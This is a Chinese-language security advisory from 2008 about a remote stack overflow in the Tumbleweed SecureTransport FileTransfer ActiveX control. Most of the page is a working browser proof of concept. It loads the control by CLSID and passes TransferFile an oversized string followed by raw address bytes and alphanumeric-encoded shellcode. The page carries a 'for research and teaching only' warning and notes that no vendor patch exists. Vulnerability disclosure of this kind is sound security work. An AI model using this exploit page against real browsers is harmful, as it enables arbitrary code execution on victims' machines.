安全研究
安全漏洞
Tumbleweed SecureTransport vcst_eu.dll ActiveX控件远程栈溢出漏洞
发布日期:2008-04-07
更新日期:2008-04-08
受影响系统:
Tumbleweed SecureTransport 4.6.1描述:
BUGTRAQ ID: 28666
Tumbleweed SecureTransport是安全的文件传输解决方案,允许用户通过Internet传输敏感文件。
SecureTransport的FileTransfer ActiveX控件(vcst_en.dll,CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3)中存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
相关代码:
interface IActiveXTransfer : IDispatch {
[id(0x00000007), helpstring("method TransferFile")]
HRESULT TransferFile(
[in] VARIANT URL,
[in] VARIANT hostName,
[in] VARIANT localFile,
[in] VARIANT remoteFile,
[in] VARIANT fdxCookie,
[in] long isSecure,
[in] long isUpload,
[in] int portNo,
[in] long isAscii,
[in] long shouldPerformMD5,
[in] long isCheckpointRestart,
[in] int serverPing,
[out, retval] VARIANT* errBuffer);
};
如果对IActiveXTransfer.FileTransfer()方式的remoteFile参数指定了很大的值的话,就可以触发栈溢出,导致执行任意代码。其他参数,如localFile、fdxCookie和localFile等,也可能存在类似的漏洞。
<*来源:Patrick Webster (pwebster@ausgeo.com.au)
链接:http://marc.info/?l=bugtraq&m=120759744518809&w=2
http://secunia.com/advisories/29717/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3"
id="Vulnerable"></object>
<script language="javascript">
Vulnerable.TransferFile("a", "b", "c",
"HqwToZjIhHkOZrLAyrUXkIEJkcQkiYRtePnECVUqpnlzkJTgBuGiqyLUCnceJkrsIxPXchpkjFjIgJRqGvniwwHJssGiTaPpmKZlBPwGMYhShxUWMCLuhgrpWXfdoWCCRYtDTrwyvDmfdAtdazeizBqe
xoCGifFzEKzvLENkrNCoqpQVtclDmpzPIJZTgUuSHWyiZoUWeNzrJFILdoEpKoyEptrZidLYuGbCrHxrMURRpdXyYJLzbeGRKqUOliWDHFdTEJOsGLngqOVVZdjzlCgOYbvSaUKcmQcugvmVQWMQVfudl
FmPvrmULKPQDVGuVFxuhFbuazTlsGbYhuJIjKfPdzGdYKcGVmVFqrtRrzXIGrauMEauSvNfDQkfyQNOTNSwftDyRhKdBFyZHaKQDDrxIEoFyrNLjLPTTGTYNlkoWfPdgSqStnopGaGkwCujLqtocvbYJu
TVbUJUJbsloqLClPXTklqPEOsthiraZgJzElMuXPuleJCQdcLsEbnalOGUpZsLgafPsjJEjUuIKAwjZWAaMLnVZwqMQeUYToFMBuneclybwZcKUjHMZhUaEayTKAqPlXGIcUbJVXOpiergIyJVEegVBsP
ObCFGjXBCgEYZYWfUKxzvVzWeJvhqDRksWeZTWBRhMctQqFMuRHxuTifCqZUsVbILkcJNPUnbnsQHvxdmXMQdpHYTCiDBSwJUxmhKHRbYISvVGvburwysfdxiBPsDiHJJpBYnQpWdBQBwTrikbgybejtr
QlBScWNsdHUxsaJpbKeamEbyjgABESztoNphFXKFclPKGFfrDhBdQkPSxApusHVXwumGCVrfgNUDmOaGOAtHkoPzfDLAvtNaXPHWLaKCCUQAYdaAxALDrEcLZwGCXkOcgLVsSrJHAWMtpeAnplUkYhTiz
mWNyribnFjJAtCxHSJsjAAiPbMTsmAVCioiIdvUVzEWpVJDfHQKGUAmmYqGUCfTXPyhkjcSyhBHOddRPvqWugerPbMMQlSllqNPquoytLBtvWbRyzAJddSxtzQaLATtYgibQzPeaMQzKIdpEJHPWSZyAk
yaGkQJxCjgcrwQkBygMCsddYUdHifpbYdPgASxsPDjaTsArCJqosrCvrwHDKkUKjSaoJtbTaiJreoGjDWfDafPjrStaCeUQCVwiyvafEIcsbSvlCavYTHKSnyraoIuUcsWPSpCVHbWEYtwobKFQwvUjoC
ZqdZEFoQzvosazdPVjXhYqdnDpPTSRapMmAuFXsixOKucVKZZKOBSnAPEzsBcWMGBnNRUVffkJSzESkzkgyKWHkQXIIVjWCeCqMXZtGtGRafPCRyQkZYjRpQOHisWHfdtOSyZHJapOYBLQpRMDyNrhnmF
eZWWaWpcuMkfEnZPBbLJwCQloArgGKvsudOoLNFfJwaWZzvSUGKFaddKnMIpuWwXtLzGKmkCJrDZkohkHrbmZZVhFGLhAgLMbwNVPixPcBefTvfNJimVtYGXYPgHChbZLSgPwSYzlqCIpzOMBVSjGzgks
rmKjAjlDRIhBBmELmUDMFSqHwWpxfEEWwjzObyFXZVGOMrrWqsWADbtweGtddyFNAIpqQqRzxmVUbjAbUxnDndqpKNDbWKpIHGAQuoGcufpEkjrbMecXBzSsKentBwSHkNDbPBkiZEvnQEKtFgIKCKDDB
MsnxFLBKgyTYEIkZdLjxBpuWUHRmrAqeLZGrSYcHlmhEsDbctsVoimbXEJryOLpibDVzoGaxfuhjyDvcNWhvSfixmuJUlNWoeEJVpSVupoCcTCLteLmglsHXIWOUXEWZURFNjdmnaxJPAAPaKtbTQkqyj
qbgLsEZtZUQTbqXCzkpnCeKGbBvjiXJgnAbHGbowIAVKXRgcJXtkZLRuClxmJtSPfeIWyOUvaUGnXBQFJfbKwofltQJYldfKXbShFcfwumMWSgIOmiTzGofVNEuGOnkFnnzjKLJVXwAkxonTCeINNwkID
goVZmjfnflgvWUToyMkVSuGAQhzDLSoeGtKuPHoPynBsdrVqPJcNksGiJmZWYsMZWoRIWsBTBwaSfOQlBjzmwqrGXdDBEeKSuwSncGcwJyOnlCpOkXWcrBdfTncQfwLYfQPPWmlrLMPUZiOMcoxUmOSJb
VzqbKlmgIjQcPABepTGFchsrdWijXbYxfLkIMxoTDRjfkRiytIvzFAfWuXfHrEVXoAuVZEDPqiTemWciTsSmKbwEtfMXkIVpDxKlFxRJHdaMdUrEZCJNkATqMnWcbAAEWPDNeWaPtGArUDpDPNkemRFZi
EFLVqxaMdZnWFvFtUrXYWnPjWNMdTuzsMFxnmMEtwVQEcaZHzIWvGfaNHKTgKroefyErvhZqAavhGLJFdIzbjnVXkJlfFEeWmfoTRFIYNtfIvIbjZNSsGMzjvZMYvfGwQDzmDdCLHDEMdkYdCluEwIXBG
ugcOmrVhhTqhcJeWofypbnAvXsHNKwqDrWWWKYePeXkpInurLBiCAtqtVqiYOIzPUzNZcmEUyOaIWetBzEUpovdlaSXRFtJSHkXsLKglMsqETAcHvJZWcGEeelObuqCdWaYqPhfghqGfnYpErsUIVSZQb
iRpJNdoeHLXEFeqXBoMpnZTaJZchqHpkdocMEvdOEnhOzzueuOTwXrwEATaDaWJpXZuLsCrYczknwyAphmUevgvZzQGOQzyrsPvIZZUGXqSwgRADPhvcfBMAGYmPGDDXPnEoOzABADlDQGicETRIAmcRw
sSvszWELcaseVabXOmGuBhpfOjhALMypkyCgyBDpFEwbnGYSXFiNqbOqUypiJiTrOthTyspQvMQawnagaFJWzgoxKWQpoHXFxRUWRcmtLHFLPakRPDxNiGliWQqtRBjKHnBAagKkuMQLLVuDLevjbkEhq
GFFYylybFEyMvdnMaRdcucYrpaSNGesjkOYWczjffbJmhEWTgeYGPDKRHBuOmauGzNNKCXhOAOqhxdHQAdfQEffPDBrvGiEodtTDIXeDdsOXcmMrdMJdxnbZFiuVRFNioshyrXTVodBxaFXYBbwfVwcUS
JXGdZZAnYMEhVtPEZYUUBeRJDZKFCrRuJQdLtkKakwFLEQXTcOUcjFPolJLWtJvXenczUxRbGZRINYXWUzzcHJNryYMOCHNZsrfloSffZWtgLJXudLeRYwbukvxEMcMwXAYiXChqgVXDeXDMvfowmLZSw
kHjTLtIRFnmGFArnVllqfjiOnXPdZjaIxugozJjVcoVZnExzQxhxPrciIeSjJMBImjHfsHyoigqknpsAoNGpGqRSEVegZQXQlVQyNmewfOjiZCwTWOdSRCwnzQczqnWyeXTIzzukwVKkDAsStGbrCwYYF
QqnlBheQVFhGfgwKSCcQSqixNGSPeVobgJLiNftjLqycVBbSUphUqoxxstwQUdAVkQfyoKUAKWgEJycUHyHRPoVbnTTVHvrGnwzlPAvDsThykmjHmaWLblFsSPlHrsBJTvHWAmJViArtMgJZaTbPARfcn
HAlorGubyovlnCfyQArosOILFrXKHupmHusRIoQgDZzyZHsCZhNoOnHWnUsUGFeqYsLILkSwnvHsuOlYGjhIfMhwqmcaIMQaqFFkhABUEXzKyKYSQyOTyrFfqIlIkNvLxriALuQsbamSphbypAADfqgXj
xtFKzlXCuuCovaozBjtrqjyRqEJTLoLWXSJUzayhZYomKFzYBfKYzGodrrIXemRZZRwDXyfCLVxmmdLOvwSCTjtsETodToQLvjrUkHUQktaQZvODJrtRgmEuFYDvPIcmynnHzAVroXUfFIvUszIyeJVaW
ogcLPDKuLTPmCWZEOWpyQeDUjhiyZHtjMEBnGYjYpnFeiAlaqfziytMiSAUmXpKzJEdIPWNdMKsjilgDITudqqCoHrsQDGUBIbxtHCJRzPIQuthMmhiaJSvncBzVNuDDIJFXvySSKUOlkFdEbbvvQYMRo
FgGurkUAWbiczranFEsZzPYlUJKsAeFJOXPVmthxTdmgQWCzscNuhCNfRnOZFXwUOdGmHGhBijSrytzjNJiwDyNNlYmQbrjSSPvDgOdEGZNbKEkhyoboqmlzQUvEhrSrEAuKduQGvOyrVgCvrhmzXQjHs
oQrkRMIgFNhqvMncLHcauYYPVcZNescGfqSPeFODxhzUkalkFRrMpnptBHYTZXVEgINvieNxFeJIVYRJaEsJOwDEkXaUxvuHQgUSjyVxoXfxjzNTXehTukeQAosgTtbaTswUhSSxGmytLAxAUYmLpcNOW
qvHWgiJhfduWtwALnUZoiGZIlKhbnHZmGLWjfgMDLbNJKNJAJufWHQDDdBNZsXXiFzgADlSniUqBjVQBNmCEDuciGDgnpNqXRGfdrPfMeFBsUHvwPYNfguoTgJoAUVCsfsXKXqbUOVaTbvWzaLFIiBodr
zFvgzkejRwlBvdoDjvRUegEepepXqzHopUAAzvHgnacEwmXoZkmYmxKNJFoxekgijRWXRJteBBqwpPSrUVlSiHHPqBvipxhCaLQlumwzvoFnQNHKzYnAFWcjqfsLzjjbIEBzRyMvTVSdQSoYhHzOUXgUE
RmDofuFOqzngpykPjhMpQElnoUzqwzH?
!倌*
uTX菽賞鬩UYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLJHQTEPC0C0LKG5GLLKCLDECHC1JOLKPOB8LKQOQ0EQJKQYLKGDLKEQJNP1IPMINLK4IPD4DGIQHJDMEQHBJKJTGKPT
GTC4CEKULKQOQ4C1JKBFLKDLPKLKQOELEQJKLKELLKC1JKK9QLFDETHCQOP1L6E0F6E4LKQVFPLKG0DLLKBPELNMLKCXC8LIJXK3IPCZF0E8CNN8JBCCE8LXKNMZDNPWKOJGBCCQBLBCEPAA",
"d", false, false, 80, false, true, true, 420)
</script>
</html>
建议:
厂商补丁:
Tumbleweed
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.tumbleweed.com/products/securetransport/index.html
浏览次数:3980
严重程度:0(网友投票)
绿盟科技给您安全的保障
